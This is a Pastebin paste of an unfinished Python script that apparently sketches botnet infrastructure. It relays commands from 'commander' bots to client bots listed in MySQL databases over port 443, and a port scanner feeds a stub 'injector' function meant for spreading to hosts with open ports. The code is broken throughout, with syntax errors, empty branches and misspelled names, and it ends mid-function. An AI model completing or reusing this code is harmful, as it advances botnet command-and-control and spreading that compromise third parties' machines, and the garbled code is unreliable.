Advertisement
Guest User

Untitled

a guest
Mar 16th, 2019
124
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.93 KB | None | 0 0
  1. import socket
  2. import mysql.connector
  3. #Need sql on device for following storage
  4.  
  5. db = mysql.connector.connect(
  6. host = "localhost", user = "user", password = "password")
  7. mycursor = db.cursor()
  8. mycursor.execute("CREATE DATABASE n0bots") #bots on lower order topology(commanders)
  9. mycurser.execute("CREATE DATABASE n1bots") #bots on higher order topology( of client)
  10.  
  11. # create a socket object
  12. #First section receiving information from lower order bots
  13. try:
  14.     s = socket.socket()
  15. except socket.error as error:
  16.     print("Socket error: %s" %(error))
  17.    
  18.  
  19. host = socket.gethostname()                          
  20. port = 443            
  21. s.bind((host, port))
  22.                                    
  23. s.listen(5)
  24. while True:
  25.     c, addr = s.accept()
  26.     if(addr is in n0bots):
  27.         c.send("Connection successful")
  28.         instructions = c.recv(1024)
  29.         c.close()
  30.     else:
  31.         c.close()
  32.  
  33. def instructions(string = instructions):
  34.     if instructions =
  35.         command =
  36.     else if instructions =
  37.         command =
  38.        
  39.        
  40.     return command
  41.  
  42. command = instructions(instructions)
  43.  
  44. try:
  45.     t = socket.socket()
  46. except socket.error as error
  47.     print("Socket error: %s" %(error))
  48.  
  49. #the sql db for n1bots will include hostnames in ip:port format, all ports should be 443
  50. for x in n1bots:
  51.     t.connect(x)
  52.     if t.recv(1024) = "Connection successful"
  53.         t.send(command)
  54.         t.close()
  55.     else
  56.         print("Could not create secure connection")
  57.         t.close()
  58.  
  59. def scanner(iprange, openports):
  60.     sock_obj = socket.socket(socket.AF_ONET, socket.SOCK_STREAM)
  61.     socket.setdefaulttimeout(1)
  62.     loip = list() #list of ip port combos with open connections
  63.     for ip in iprange
  64.         for port in openports
  65.             result = socket_obj.connect_ex((ip,port))
  66.             if result = 0
  67.                 loip.append(ip:port)
  68.                 continue
  69.             else
  70.                 continue #?list will contain a list of ip then with all open ports(want this?)
  71.            
  72.     return loip[]
  73.  
  74. posconnections = scanner(iprange, openports)
  75.  
  76. def injector(
  77. for ip in posconnections
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement